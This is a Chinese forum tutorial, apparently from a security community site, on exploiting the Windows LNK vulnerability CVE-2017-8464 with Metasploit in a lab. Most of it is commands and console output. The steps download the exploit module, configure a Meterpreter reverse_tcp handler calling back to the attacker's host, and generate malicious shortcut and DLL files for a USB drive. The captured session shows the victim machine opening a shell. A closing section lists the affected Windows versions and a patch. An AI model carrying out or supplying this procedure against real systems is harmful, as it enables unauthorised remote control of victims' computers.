

Msf下的LNK漏洞 (CVE-2017-8464) 利用

[backlion](#) / 2017-08-02 08:05:00 / 浏览数 6582 [安全技术](#) [技术讨论](#) [顶\(0\)](#) [踩\(0\)](#)

0x01 前言

RCE漏洞存在于Windows处理LNK文件的环节。攻击者利用漏洞可以获得与本地用户相同的用户权限。被使用此漏洞攻击时，用户权限较少的账户相较管理员权限的用户受

攻击者可以给受害者一个恶意的LNK 文件和关联的恶意二进制，文件可以存放在可移动磁盘或远程共享中。当用户用 Windows 资源管理器或任何其他能够解析LNK文件的软件，打开此驱动器（或远程共享）时，恶意文件就会在目标系统上执行攻击者的代码。

0x02 漏洞环境搭建与利用

漏洞环境搭建：

kalix86 192.168.1.109 攻击机

windows7x64 192.168.1.101 目标靶机

漏洞利用：

1.kali主机下载cve_2017_8464_lnk_rce.rb：

cd /opt

wget

https://raw.githubusercontent.com/ykoster/metasploit-framework/169e00bf3442447324df064192db62cdc5b5b860/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb

```
root@backlion:/opt# wget https://raw.githubusercontent.com/ykoster/metasploit-framework/169e00bf3442447324df064192db62cdc5b5b860/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb
--2017-07-26 21:03:24-- https://raw.githubusercontent.com/ykoster/metasploit-framework/169e00bf3442447324df064192db62cdc5b5b860/modules/exploits/windows/fileformat/cve_2017_8464_lnk_rce.rb
正在解析主机 raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.72.133
正在连接 raw.githubusercontent.com (raw.githubusercontent.com)|151.101.72.133|:443... 已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度：7525 (7.3K) [text/plain]
正在保存至：“cve_2017_8464_lnk_rce.rb”

cve_2017_8464_lnk_r 100%[=====>] 7.35K --.-KB/s in 0s

2017-07-26 21:03:25 (18.0 MB/s) - 已保存 “cve_2017_8464_lnk_rce.rb” [7525/7525]

root@backlion:/opt# ls
cve-2016-2107 Elasticsearch myadmincrack.py struts2-046.py
cve_2017_8464_lnk_rce.rb exploit-cd.sh PoC-master
DBPwAudit hackUtils-master POC-T-master
dbpwaudit_0_8.zip java shell.exe
root@backlion:/opt#
```

2.将cve_2017_8464_lnk_rce.rb拷贝到

/usr/share/metasploit-framework/modules/exploit/windows/smb/目录下：

cp cve_2017_8464_lnk_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/

```
smb/ smtp/
root@backlion:/opt# cp cve_2017_8464_lnk_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/smb/
root@backlion:/opt#
```

3.生成监听shell:

```
msf > use exploit/multi/handler
```

```
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
```

```
msf exploit(handler) > set LHOST 192.168.1.109
```

```
msf exploit(handler) > exploit -j
```

```
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 192.168.1.109
lhost => 192.168.1.109
msf exploit(handler) > exploit -j
[*] Exploit running as background job.
```

4生成大量的.LNK文件（对应盘符从D盘到Z盘）和要加载的.dll文件（后门文件，copy了一个lnk文件（根据插入靶机U盘后识别的盘符，例如我插入U盘后显示的E盘，所以就选择了E结尾的lnk文件）和dll文件到U盘）

```
msf exploit(handler) > back
```

```
msf > use exploit/windows/smb/cve_2017_8464_lnk_rce
```

```
msf exploit(cve_2017_8464_lnk_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
```

```
msf exploit(cve_2017_8464_lnk_rce) > set LHOST 192.168.1.109
```

```
msf exploit(cve_2017_8464_lnk_rce) > exploit
```

```
msf exploit(handler) > back
msf > use exploit/windows/smb/cve_2017_8464_lnk_rce
msf exploit(cve_2017_8464_lnk_rce) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf exploit(cve_2017_8464_lnk_rce) > set LHOST 192.168.1.109
LHOST => 192.168.1.109
msf exploit(cve_2017_8464_lnk_rce) > exploit
[*] G:/root/.msf4/local/Y0WhZPSuYJKSZjzi.dll created, copy it to the root folder of the target USB drive
[*] x:/root/.msf4/local/MJKfkuCzwwfbQSRB_D.lnk created, copy to the target USB drive
[*] c:/root/.msf4/local/ZvwrJaYmZqqqCWIH_E.lnk created, copy to the target USB drive
[*] /root/.msf4/local/WnxjFmgZjZcfapqL_F.lnk created, copy to the target USB drive
[*] /root/.msf4/local/qvHqJT0xVuLjDCAe_G.lnk created, copy to the target USB drive
```

5.将/root/.msf4/local/*所有文件拷贝到/opt目录下的test文件夹中，然后拷贝到目标靶机windows10x64上

```
root@backlion:~# cd /opt
```

```
root@backlion:/opt# mkdir test
```

```
root@backlion:/opt# cp /root/.msf4/local/* test/
```


root@backlion:/opt# cd test/

root@backlion:/opt/test# ls

```
文件(F) 编辑(E) 查看(V) 搜索(S) 终端(T) 帮助(H)
root@backlion:~# cd /opt > exploit -j
root@backlion:/opt# mkdir test & background job.
root@backlion:/opt# cp /root/.msf4/local/*
cp: 目标 '/root/.msf4/local/ZvwrJaYmZqqqCWIH_E.lnk' 不是目录
root@backlion:/opt# cp /root/.msf4/local/* /
root@backlion:/opt# cp /root/.msf4/local/* test/
root@backlion:/opt# cd /test & smb/cve_2017_8464_lnk_rce
bash: cd: /test: 没有那个文件或目录
root@backlion:/opt# cd test/
root@backlion:/opt/test# ls
meterpreter/reverse_tcp
BdZELBQXnsUMZEoC_W.lnk 17jrfBisDqIHDcqCDC_Q.lnk H0WnxjFmgZjZcfapqD9F.lnk
cpQMhETKdZuulXuN_R.lnk 1JURoxpVpsQXhjlzV_S.lnk xLitVQaHZlcdUekM_J.lnk
cWLQBgTCvwKQiTEv_H.lnk 17kDKyuQaGfSSHqgSW_T.lnk itxpxjNpuKCPCjErnZ_N.lnk
EnIIZPCFaoqCRTuS_X.lnk MJKfkuCzwwfbQSRB_D.lnk yBfebt0rwIFvhvVP_P.lnk
GbVlsPxGthNPKwQB_S04.lnk caomXDnEMXNtRynJdr_I.lnk cYOWhZPSuYJKSZjziIdllthe root f
HaNRkRruauchSTeP_ZS.lnk r1ozFAeLNUMTNBwxSY_M.lnk zleRDKxYPpGunCjN_K.lnk
hDthduFxSaKhAXch_L.lnk caqvHqJT0xVuLjDCAe_G.lnk nkzRpZLgpcbNM0pj0toV.lnk target
isbXYFgpgkiwohVwB_U.lnk SaIfKFTeZwNzFqur_Y.lnk ZvwrJaYmZqqqCWIH_E.lnk
root@backlion:/opt/test#
```

拷贝的本机win7x64上：



6.然后点击快捷键，就会触发注册dll文件，如果不行直接注册dll文件（一般是将这项快捷键和DLL文件拷贝到一个文件夹里面然后拷贝到U盘，只要对方开了U盘自动启动播

```
C:\Users\jboss\Desktop\test>regsvr32 LzXqhSHWxpbFZBJd.dll  
C:\Users\jboss\Desktop\test>_
```

7.在kali下可以看到成功获得sessions会话为1

sessions -i 1

```
msf exploit(cve_2017_8464_lnk_rce) >  
[*] Sending stage (1189423 bytes) to 192.168.1.101  
[*] Meterpreter session 1 opened (192.168.1.109:4444 -> 192.168.1.101:2778) at  
2017-07-26 21:46:31 +0800  
msf exploit(cve_2017_8464_lnk_rce) > session -i 1
```

8.然后进入到会话，就会成功进入到meterpreter的shell界面：

```
2017-07-26 21:46:31 +0800  
msf exploit(cve_2017_8464_lnk_rce) > session -i 1  
[-] Unknown command: session.  
msf exploit(cve_2017_8464_lnk_rce) > sessions -i 1  
[*] Starting interaction with 1...  
  
meterpreter > █
```

0x03漏洞影响与修复

漏洞影响：

Windows 10

Windows 7

Windows 8.1

Windows RT 8.1

Windows Server 2008

Windows Server 2008 R2

Windows Server 2012

Windows Server 2012 R2

Windows Server 2016

漏洞修复：

下载补丁，其地址为：

<https://support.microsoft.com/zh-cn/help/4025686/microsoft-security-advisory-4025685-guidance-for-supported-platforms>

点击收藏 | 0 关注 | 1

[上一篇：渗透测试教程：如何侦查目标以及收集信息？](#) [下一篇：云悉指纹 - 可能是目前为止最用心...](#)

1. 4 条回复



[鲸鱼](#) 2017-08-07 08:05:26

我的组件安装好以后，没有payloads啊，直接set payload命令或者show payloads命令找不到，求大神指导，谢谢。

0 回复Ta



[c0de](#) 2017-08-08 09:42:11

这才是真正的8464

0 回复Ta



[imklever](#) 2017-08-09 08:50:28

嗨，看能帮你么

1. <https://github.com/rapid7/metasploit-framework/tree/master/data/exploits>
把这个里边的cve-2017-8464那个文件夹要考到你的metasploit的data/exploits下边
- 2.填完之后在msfconsole里要reload_all一下

0 回复Ta



[hades](#) 2017-08-09 08:53:56

棒(◻•◻◻•◻)◻◻

0 回复Ta

[登录](#) 后跟帖

先知社区

[现在登录](#)

热门节点

[技术文章](#)

[社区小黑板](#)

目录

[RSS](#) [关于社区](#) [友情链接](#) [社区小黑板](#)